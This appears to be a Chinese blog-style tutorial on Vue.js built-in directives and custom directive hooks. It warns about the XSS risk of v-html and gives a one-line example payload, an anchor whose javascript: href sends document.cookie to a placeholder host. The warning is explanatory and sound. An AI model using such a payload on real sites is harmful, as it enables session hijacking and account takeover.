Vue.js---内置指令与自定义指令

内置指令：

v-bind	单向绑定，v-bind:xxx 可简写为 :xxx
v-model	双向绑定，一般用于表单类元素
v-for	用于遍历数组、对象、字符串等
v-on	给元素绑定事件，v-on:click 可简写为 @click
v-if	控制节点是否存在
v-else(-if)	控制节点是否存在，与 if 连用，与条件判断用法一致。
v-show	控制节点是否显示（节点本身仍存在）
v-text	相当于 innerText
v-html	相当于 innerHTML，可解析 HTML 元素（有风险）
v-cloak	在 vue 实例加载后即消失，用于与 css 配合 vue 加载前的效果
v-once	当前元素用到的 vue 中的数据加载后保持初始值，即不会有响应式效果
v-pre	跳过当前节点的编译，适用于没有使用插值语法的节点

v-html 指令存在的风险：

        一般来说，网站的免登录操作主要是通过 cookie 验证的。cookie 来自于服务端，一般是通过身份验证等操作后传递到浏览器。浏览器可以通过 cookie 这一唯一标识向服务端发出请求并经过后端的校验后返回结果。所以 cookie 起到了身份验证的作用。

        我们可以通过 document.cookie 从浏览器获取当前网页获取到的 cookie ，理论上来说，只要获得了完整的 cookie 就可以不经过身份验证而登录某个账号。

        依照 v-html 的作用，可以向别的页面直接发送当前页面的内容或 cookie ，这样就存在安全问题。

<a href=javascript:location.href="www.xxx.com?"+document.cookie>xxx</a>

        上述操作即可以向 www.xxx.com 以参数的形式发送当前页面的 cookie 。

自定义指令：

        添加自定义指令是  Vue 中少有的直接操作 DOM 的操作，类似于封装函数。

        自定义指令有利用函数、利用对象两种方式，均写在 directives 中。

directives: {
    demo1(element, binding) {
        
    },
    demo2: {
        bind(element, binding) {
            
        },
        inserted(element, binding) {
            
        },
        update(element, binding) {
            
        }
    }
}

        函数式：参数1为当前元素节点（真实DOM），可直接操作，参数2为当前指令的一些属性。

expression	当前指令绑定 Vue 的数据的属性名
name	当前指令的名字 不带 v-
rawName	当前指令的名字 带 v- ，如 v-demo
value	当前指令绑定 Vue 的数据的属性值

        函数被调用的时刻：1.指令与元素绑定时   2.指令所在的模板被重新解析时 

        对象式：分为多个函数，代表不同时刻调用不同函数

bind()	指令与元素绑定时调用
inserted()	指令绑定的元素被加载到页面时调用
update()	指令所在的模板被重新解析时调用

欢迎指正！